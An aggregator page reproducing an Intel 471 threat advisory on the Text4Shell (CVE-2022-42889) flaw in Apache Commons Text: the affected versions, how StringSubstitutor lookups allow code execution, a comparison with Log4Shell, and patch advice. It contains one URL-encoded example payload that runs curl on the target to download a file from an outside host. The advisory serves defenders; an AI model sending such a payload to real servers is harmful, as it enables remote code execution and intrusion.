惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

B
Blog RSS Feed
量子位
Recent Announcements
Recent Announcements
T
The Blog of Author Tim Ferriss
美团技术团队
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Blog — PlanetScale
Blog — PlanetScale
H
Help Net Security
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
博客园 - Franky
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
宝玉的分享
宝玉的分享
大猫的无限游戏
大猫的无限游戏
V
Visual Studio Blog
博客园 - 聂微东
aimingoo的专栏
aimingoo的专栏
Microsoft Security Blog
Microsoft Security Blog
U
Unit 42
J
Java Code Geeks
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
IT之家
IT之家
Hugging Face - Blog
Hugging Face - Blog
腾讯CDC
L
LangChain Blog

Intel 471 Blog

TeamPCP Supply Chain Attacks Turning Geopolitical Tension into Actionable Intelligence CVE-2025-68613: Zerobot botnet exploits critical vulnerability impacting n8n AI orchestration platform Introducing Cyber Threat Exposure Bundle: A Unified Approach to External Risk CVE-2026-20127: Critical Cisco SD-WAN vulnerability exploited in wild Handala Threat Group OpenClaw: A viral AI assistant and a magnet for infostealer malware and ClickFix trickery Israeli, US strikes against Iran triggers a surge in hacktivist activity CVE-2026-1731: Finding a critical RCE in an age of AI-driven vulnerability research Born to bypass MFA: Taking down Tycoon 2FA The UK Cyber Security Resilience Bill How AI and the human advantage beat tomorrow’s threats Winter Olympics 2026: Hacktivism Surges Ahead of Protests and Suspected Sabotage How Threat Hunting and “Good” Metrics Help The Business Likely fake ransomware operator 0APT causes panic — Our analysis Hunting APTs: from state policy to TTPs CrazyHunter Ransomware DevMan Ransomware Introducing HUNTER Tuning: a New Tool for Driving Behavioral Threat Hunt Detections Battling check fraud in the U.S. Gootloader Malware Update Shai-Hulud Worm 2.0 New FvncBot Android banking trojan targets Poland White Paper Preview: Black "Fraud Day” and Beyond — The Key Cyber Threats Facing the Retail Sector this Holiday Season Threat hunting case study: Detecting IAB activity Using deception to extract cyber threat intelligence Lynx Ransomware Qilin Ransomware Group ClickFix: Tricking users into installing infostealers Cybercrime Takedowns: Trust, Partnerships and Focus
Text4Shell (CVE-2022-42889) Vulnerability
Intel 471 · 2022-11-04 · via Intel 471 Blog

Threat Summary

CVE-2022-42889, dubbed "Text4Shell", was publicly recognized in early October. Text4Shell is a vulnerability that effects Apache Commons Text, a Java library described by their creators as "focused on algorithms working on strings". CVE-2022-42889 could result in remote code execution, which would allow for an attacker to execute arbitrary code on victim machines and perform further actions on objectives. The vulnerability is rated a 9.8 on the CVSS Severity scale, and thus deemed to be 'critical'. The affected versions of Apache Commons Text are 1.5 through 1.9, and the vulnerability has been patched in the latest version, as of this writing, which is 1.10.

While Text4Shell boasts a high CVSS score of 9.8, and carries a similar name to Log4Shell and other impactful vulnerabilities released in recent years, researchers claim that the similarities between the vulnerabilities are not as striking as initially thought. According to Rapid7, the nature of Text4Shell means that unlike Log4Shell, it will be rare that an application will use the vulnerable component of Apache Commons Text to process untrusted, potentially malicious input (Rapid7, 2022). This does not mean that this vulnerability is not serious however, but rather that it is not on the same level as Log4Shell (CVE-2021-44228), which was a remote code execution vulnerability identified in Apache Log4j2 framework and garnered a CVSS severity rating of 10.

That being said, it does not appear that Text4Shell poses a significant impact over similarly named "*4Shell" vulnerabilities that preceded it, such as Log4Shell or Spring4Shell. It is nonetheless recommended to update vulnerable Apache Commons Text versions

Threat Synopsis - Text4Shell Ransomware

The identification of Text4Shell or CVE-2022-42889 in October 2022 almost immediately piqued the interest of security professionals and created a stir throughout the community, as organizations and researchers alike rushed to determine if this new "4Shell" vulnerability was as widespread and damaging as its predecessors. The Text4Shell vulnerability enables attackers to perform remote code execution via string substitutions carried out during script, dns, or url string lookups, a method similar to that of the dangerous Log4Shell (CVE-2021-44228) vulnerability, which was a remote code execution vulnerability identified in Apache Log4j2 framework in late 2021.

The vulnerability specifically resides within the StringSubstitutor interpolator object of Apache Commons Text. This interpolator is created by the StringSubstitutor.createInterpolator() method, and and contains a logic flaw that allows for the "script", "dns", or "url" string lookups to be interpolated by default which could lead to arbitrary code execution. Successful exploitation of this vulnerability can allow actors to perform a myriad of actions on objectives, an example of which could be to open a reverse shell with the vulnerable application via a specially crafted payload - providing attackers a foothold from which to launch future attacks.

In order for an attacker to successfully exploit this vulnerability, they must first ensure that the targeted server is running a version of Apache Commons Text from versions 1.5 to version 1.9, and use the StringSubstitutor interpolator. If these conditions are met, an attacker can send crafted HTTP requests to the vulnerable server which contain a URL encoded payload. An example of an exploitation attempt URL could be:

hxxp://vulnerableServer.com/

text4shell

/attack?search=%24%7Bscript%3Ajavascript%3Ajava%2Elang%2ERuntime%2EgetRuntime%28%29%2Eexec%28%27curl%20https%3A%2F%2Fcyborgsecurity%2Ecom%2Ffake%2Fdirectory%2Fmalware%2Ebin%20%2Do%20legitfile%2Ebin%27%29%7D

This request would execute curl on the vulnerable server to download a file, then the attacker could send an additional command to execute the downloaded file.

While the newly discovered vulnerability shares a similar name and functionality to that of the infamous Log4Shell vulnerability, there are major differences in its implementation and impact. Given the widespread usage of the Apache Log4j2 framework, even the most fundamental use-cases are vulnerable to Log4Shell, whereas the Text4Shell vulnerability requires that Apache Commons Text be used and configured in a certain way which exposes the attack surface and leaves the vulnerability exploitable. According to Apache's security team "...This issue is different from Log4Shell (CVE-2021-44228) because in Log4Shell, string interpolation was possible from the log message body, which commonly contains untrusted input. In the Apache Common Text issue, the relevant method is explicitly intended and clearly documented to perform string interpolation, so it is much less likely that applications would inadvertently pass in untrusted input without proper validation."

While exploitation attempts in the wild have been observed, it is expected to be limited in scope. It is the recommended to ensure Apache Commons Text is patched to the latest available release (which is 1.10 at the time of this writing) which resolves the associated vulnerability.

GET THE FREE HUNT PACKAGES!

CHECK OUT OTHER EMERGING THREATS >